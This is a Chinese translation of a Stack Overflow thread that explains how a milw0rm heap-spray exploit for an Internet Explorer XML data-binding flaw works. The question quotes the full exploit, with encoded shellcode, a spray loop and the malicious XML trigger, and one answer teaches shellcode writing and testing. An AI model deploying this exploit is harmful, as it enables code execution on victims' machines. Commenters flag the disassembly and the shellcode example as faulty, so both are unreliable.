logo标签列表

这个milw0rm堆喷射漏洞利用是如何工作的？

javascriptx86exploitassembly
147

我通常不难阅读JavaScript代码，但是对于这个代码，我无法理解其逻辑。该代码来自于4天前发布的一个漏洞利用程序。你可以在milw0rm上找到它。

以下是代码：

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

以下是我理解的内容，同时希望你能帮助我弄清楚一些我不太明白的部分。

变量shellcode包含打开calc.exe的代码。我不明白他们是如何找到这个奇怪的字符串的。有什么想法吗?

第二件事是变量spray。我不理解这个奇怪的循环。

第三件事是变量memory，它在任何地方都没有被使用。为什么他们要创建它？

最后一个问题：在页面中，XML标记是什么作用？

目前我得到了一些好的答案，但大多数都比较笼统。我希望更深入地了解代码背后的价值。例如，unescape("%u0a0a%u0a0a")是什么意思？同样，对于循环，为什么开发人员编写了length < 0xd0000？我希望能够更深入地理解，而不仅仅是这段代码的理论。

你应该了解堆喷洒技术：http://en.wikipedia.org/wiki/Heap_spraying - BobbyShaftoe
我们如何成功地运行这个漏洞利用？我们必须在IE中运行它吗？ - bad_keypoints
7个回答
321
壳代码包含一些x86汇编指令，用于执行实际的利用操作。`spray`创建了一个长序列的指令，将被放置在`memory`中。由于我们通常无法找到内存中shellcode的确切位置，因此我们会在其前面放置大量的`nop`指令，并跳转到那里的某个位置。`memory`数组将保存实际的x86代码以及跳转机制。我们将把精心制作的XML文件提供给存在漏洞的库。当它被解析时，该漏洞将导致指令指针寄存器被分配到我们攻击代码的某个位置，从而导致任意代码执行。
为了更深入地理解，您应该实际了解x86代码的内容。`unscape`将用于将表示在`spray`变量中的字符串的字节序列进行反转义。这是有效的x86代码，它填充了一大块堆并跳转到shellcode的开头。结束条件的原因是脚本引擎对字符串长度的限制。您不能有超过特定长度的字符串。
在x86汇编中，`0a0a`表示`or cl，[edx]`。这在我们的利用中相当于`nop`指令。无论我们在`spray`中跳转到哪里，我们都会到达下一条指令，直到我们到达实际要执行的代码shellcode。
如果您查看XML，您将看到`0x0a0a`也在其中。确切描述发生了什么需要特定的利用知识（您必须知道漏洞在哪里以及如何利用它，我不知道）。然而，似乎我们通过将`innerHtml`设置为恶意XML字符串来强制Internet Explorer触发错误的代码。 Internet Explorer尝试解析它，而有缺陷的代码以某种方式将控制权交给数组存在的内存位置（由于它是一个大块，跳转到那里的概率很高）。当我们跳转到那里时，CPU将继续执行`or cl，[edx]`指令，直到达到放置在内存中的shellcode的开头。
我已经反汇编了shellcode:
00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

理解这个 shellcode 需要了解 x86 汇编语言和微软库本身的问题（以知道当我们到达这里时系统状态是什么），而不是 JavaScript！此代码将反过来执行 calc.exe。

13
我感激你为这个解释所做的努力。+25 的声望和我全部的尊敬。谢谢。 - Patrick Desjardins
20
好的回答，但天哪 - 突然间我对电脑不太行了;-) - username
50
我很惊讶于那些能够设计出这类漏洞的人。如果他们聪明到可以用这种方法来黑进别人的银行账户，那么他们就应该得到他们所能偷到的所有钱 ;) - Martin
8
如果Stack Overflow有一个好答案神社，这个答案就会在其中。 - San Jacinto
6
反汇编看起来毫无意义且完全随机，这不可能是正确的。我尝试交换字节，假设字符串中的字符以小端方式存储，但没有帮助。 - Juho Östman
显示剩余10条评论
10
这似乎是针对最近微软发布紧急补丁的 Internet Explorer 漏洞的一种利用方式。它利用了 Microsoft XML 处理程序数据绑定功能中的缺陷，导致堆内存无法正确释放。

Shellcode 是一种在漏洞发生时运行的机器码。Spray 和 memory 只是分配在堆上的一些空间，以帮助满足可利用条件。

你认为Chrome的扩展程序会发生类似的事情吗？ - bad_keypoints
3
2

每当我看到在漏洞讨论中没有解决内存问题时，我的第一个想法是这个漏洞是某种缓冲区溢出，这种情况下，该内存要么导致缓冲区溢出，要么在缓冲区溢出后被访问。

在这种情况下，它不是堆破坏、基于堆的缓冲区溢出或基于栈的缓冲区溢出：http://blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx - Grant Wagner
0

简单的Shellcode示例

使用AT&T语法x86汇编编写的“Hello world”程序，我相信（正在学习中的巫师）。

设置文件：vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

编译方式如下：as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

现在你有一个打印“hello world”的二进制文件。 要将二进制文件转换为shell代码，请输入：objdump -D shellcode

你会得到以下输出：

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

现在，如果您查看第4行的文本，您将看到：400078: eb 1a jmp 0x400094

部分显示eb 1a是汇编指令jmp one的十六进制表示形式，其中"one"是您字符串的内存地址。

要准备执行您的 shellcode，请打开另一个文本文件并将十六进制值存储在字符数组中。为正确格式化 shell code，您需要在每个十六进制值前键入\x。

根据 objdump 命令输出，即将出现的 shell code 示例如下：

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

这个示例使用 C 语言的数组。 现在你有一个可以向标准输出打印 "hello world" 的工作 shellcode。

你可以将 shellcode 放到漏洞中进行测试，或者编写以下 C 程序来测试它：

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

编译程序的命令为：

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

使用 ./run 运行。 你现在拥有一个在Linux Mint/Debian中经过测试的简单shellcode开发的工作示例。

1
在64位代码中不要使用int 0x80 32位ABI。这会导致堆栈上的字符串失败，因为内核只查看系统调用参数的低32位。如果在64位代码中使用32位int 0x80 Linux ABI会发生什么？（在这种情况下，您将创建一个无限循环，因为sys_write将返回-EFAULT，而mov $1，%al将保留上位比特，因此您会得到-ENOSYS而不是sys_exit）。此外，在64位代码中，您可以向前jmp字符串并使用RIP相对lea来获取地址，而不是使用call/pop。 - Peter Cordes
1
这对于默认构建PIE可执行文件的gcc也会失败，因为即使是您的静态存储char数组也将位于低32位之外。(顺便说一下，如果它是const char payload []，那么它将位于文本段(在.rodata部分)，您就不需要-z execstack)。 - Peter Cordes
1
此外，movl 4, %rax 包含一个零字节（由于操作数大小不匹配而无法汇编，并且缺少 $，因此 4 是绝对地址）。我认为您发布了源代码的早期版本。我的早期评论是从反汇编中观察到的，在那里您添加了 sys_exit 调用。 - Peter Cordes
0

这是来自metasploit的，这意味着它正在使用metasploit之一的shell代码。它是开源的，所以你可以去获取它：http://www.metasploit.com/

0
网页内容由stack overflow 提供, 点击上面的
可以查看英文原文，
原文链接